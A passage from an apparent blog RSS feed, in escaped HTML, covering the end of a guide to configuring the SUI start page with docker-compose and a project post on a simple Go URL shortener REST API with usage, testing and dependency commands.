&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - VIRTUAL_HOST&lt;span style="color:#f92672"&gt;=&lt;/span&gt;test.laserr.net
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; networks:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - nginx-proxy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - public
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ports:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - 4000:80
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; volumes:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - ./:/opt/html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;networks:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; nginx-proxy:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; external: false
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; public:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; external: false
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Build and bring up with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker-compose up -d
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="access-web-ui"&gt;
Access Web UI
&lt;a href="#access-web-ui" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Once SUI is deployed you can navigate to &lt;a href="http://ip-server:4000"&gt;http://ip-server:4000&lt;/a&gt;, to see the home page.&lt;/p&gt;
&lt;h2 id="customization"&gt;
Customization
&lt;a href="#customization" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="change-color-themes"&gt;
Change Color Themes
&lt;a href="#change-color-themes" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Click the options button on the left bottom to alter the color themes.&lt;/p&gt;
&lt;h3 id="add-apps"&gt;
Add Apps
&lt;a href="#add-apps" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Add your apps by editing &lt;code&gt;apps.json&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;apps&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Name of app 1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;url&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;sub1.example.com&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;icon&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;icon-name&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Name of app 2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;url&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;sub2.example.com&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;icon&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;icon-name&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;target&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;optionals&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Don&amp;rsquo;t add &lt;code&gt;http://&lt;/code&gt; in the URL.&lt;/li&gt;
&lt;li&gt;Find the names of icons to use at &lt;a href="https://materialdesignicons.com/"&gt;Material Design Icons&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="add-bookmarks"&gt;
Add Bookmarks
&lt;a href="#add-bookmarks" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Add your bookmarks by editing &lt;code&gt;links.json&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;bookmarks&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;category&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Category1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;links&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Link1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;url&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;http://example.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Link2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;url&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;http://example.com&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;target&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;optionals&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;category&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Category2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;links&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Link1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;url&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;http://example.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Link2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;url&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;http://example.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Add names for the categories you wish to define and add the bookmarks for each category.&lt;/p&gt;
&lt;h3 id="add-providers"&gt;
Add Providers
&lt;a href="#add-providers" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Add new search engines by editing &lt;code&gt;providers.json&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;providers&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Duck Duck Go&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;url&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;https://duckduckgo.com/?q=&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;prefix&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/d&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;TheMovieDB&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;url&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;https://www.themoviedb.org/search?query=&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;prefix&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="add-color-themes"&gt;
Add Color Themes
&lt;a href="#add-color-themes" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;These can be added or customized in the &lt;code&gt;themer.js&lt;/code&gt; file. When changing the name of a theme or adding one, make sure to edit this section in &lt;code&gt;index.html&lt;/code&gt; accordingly:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;section&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;themes&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;section&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>A simple URL shortener RESTful API written in Go</title><link>https://thanoskoutr.com/posts/projects/url-shortener/</link><pubDate>Thu, 30 Sep 2021 02:26:20 +0300</pubDate><guid>https://thanoskoutr.com/posts/projects/url-shortener/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/url-shortener.png"/&gt;
&lt;h2 id="about"&gt;
About
&lt;a href="#about" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;An simple URL shortener RESTful web service API written in Go, using the &lt;code&gt;net/http&lt;/code&gt; package for the server, the &lt;a href="https://github.com/julienschmidt/httprouter"&gt;HttpRouter&lt;/a&gt; for the router and &lt;a href="https://github.com/boltdb/bolt"&gt;Bolt DB&lt;/a&gt; for the database.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://stoplight.io"&gt;Stoplight&lt;/a&gt; service was used to design and document the REST API. &lt;em&gt;See &lt;a href="https://thanoskoutr.com/posts/projects/url-shortener/#api-specification"&gt;below for the API Documentation&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The API service is deployed on &lt;a href="https://www.heroku.com"&gt;Heroku&lt;/a&gt;, and you can access it on &lt;a href="https://url-shortener-thanoskoutr.herokuapp.com"&gt;url-shortener-thanoskoutr.herokuapp.com&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Because the &lt;a href="https://help.heroku.com/RSBRUH58/removal-of-heroku-free-product-plans-faq"&gt;Heroku Free plan is no longer available from November 28, 2022&lt;/a&gt;, the above link does not work. I wish to deploy the API in a &lt;a href="https://github.com/anandrmedia/heroku-free-alternatives"&gt;Heroku free alternative service&lt;/a&gt; in the future.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The purpose of this project was to get familiar with Go, and create a backend service (a REST API specifically), to get to know the basic packages and web constructs. The focus was only on the backend, thus an API spec and documentation was created, even though we have very few endpoints. In the future, a UI could be build (e.g. with React) to create a full stack application.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/github/github-original.svg" alt="GitHub" class="left" style="border-radius: 8px; max-width: 20px; margin-left: 0px; display: inline-block;" /&gt;
GitHub repository: &lt;a href="https://github.com/thanoskoutr/url-shortener"&gt;https://github.com/thanoskoutr/url-shortener&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="techonologies"&gt;
Techonologies
&lt;a href="#techonologies" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The main technologies used for this project (language, tools, database):&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/go/go-original-wordmark.svg" alt="golang logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://thanoskoutr.com/logos/boltdb.png" alt="boltdb logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://thanoskoutr.com/logos/stoplight.png" alt="stoplight logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/heroku/heroku-original-wordmark.svg" alt="heroku logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;/p&gt;
&lt;h2 id="usage"&gt;
Usage
&lt;a href="#usage" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="run-service"&gt;
Run service
&lt;a href="#run-service" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To run the web service:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ git clone https://github.com/thanoskoutr/url-shortener.git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cd url-shortener
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ go run main.go
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Starting the server on :8080
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="build-executable"&gt;
Build executable
&lt;a href="#build-executable" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To build and run the web service as an executable:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ go build
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ ./url-shortener
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Starting the server on :8080
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="call-the-api"&gt;
Call the API
&lt;a href="#call-the-api" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Shorten a URL:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ curl -X POST http://localhost:8080/shorten -d &lt;span style="color:#e6db74"&gt;&amp;#39;{&amp;#34;long_url&amp;#34;:&amp;#34;https://www.github.com&amp;#34;}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;{&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;long_url&amp;#34;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#34;https://www.github.com&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#34;short_url&amp;#34;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#34;GJWrQa0&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Access the URL you shortened from the following new URL:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ curl http://localhost:8080/redirect/GJWrQa0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;a href&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;https://www.github.com&amp;#34;&lt;/span&gt;&amp;gt;Moved Permanently&amp;lt;/a&amp;gt;.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="testing"&gt;
Testing
&lt;a href="#testing" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;To run the tests for all subpackages (recursively):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ go test -v ./...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="dependencies"&gt;
Dependencies
&lt;a href="#dependencies" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;To fetch the dependencies from &lt;code&gt;go.mod&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ go mod download
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To create the &lt;code&gt;go.mod&lt;/code&gt; from scratch (only for dev purposes), run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ go mod init github.com/thanoskoutr/url-shortener
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ go get github.com/boltdb/bolt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ go get github.com/julienschmidt/httprouter
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ go get github.com/rs/cors
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ go mod tidy
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="deployment"&gt;
Deployment
&lt;a href="#deployment" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;For instruction on how to deploy this Go web service (or any other Go app) for free on a Platform as a Service cloud provider like Heroku, see the &lt;a href="Heroku.md"&gt;Heroku Deployment Guide&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="features"&gt;
Features
&lt;a href="#features" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Create Short URL from Long URL (&lt;code&gt;/shorten&lt;/code&gt; endpoint)
&lt;ul&gt;
&lt;li&gt;Get a Long URL from user, as a JSON body parameter&lt;/li&gt;
&lt;li&gt;Use encoding algorithm (MD5 Hash and base64 encoding)&lt;/li&gt;
&lt;li&gt;Save (Short URL, Long URL) key-value pair in Database&lt;/li&gt;
&lt;li&gt;Return Short URL as a JSON response to the user&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Redirect server (&lt;code&gt;/redirect/:short_url&lt;/code&gt; endpoint)
&lt;ul&gt;
&lt;li&gt;If &lt;code&gt;:short_url&lt;/code&gt; parameter is not empty, redirect to saved Long URL on Database&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;:short_url&lt;/code&gt; parameter is empty, redirect to Home page (&lt;code&gt;/&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="api-specification"&gt;
API Specification
&lt;a href="#api-specification" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;You can find the &lt;a href="https://thanoskoutr.stoplight.io/docs/url-shortener/"&gt;API Documentation on Spotlight&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Contains:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;API Documentation.&lt;/li&gt;
&lt;li&gt;Ability to make calls to the API Endpoints of the service.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="boltdb-web-interface"&gt;
BoltDB Web Interface
&lt;a href="#boltdb-web-interface" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;We can inspect the BoltDB database in the browser using the &lt;code&gt;boltdbweb&lt;/code&gt; tool.&lt;/p&gt;
&lt;p&gt;To install it globally (usually in the &lt;code&gt;~/go/bin&lt;/code&gt; folder in your system), run:&lt;/p&gt;
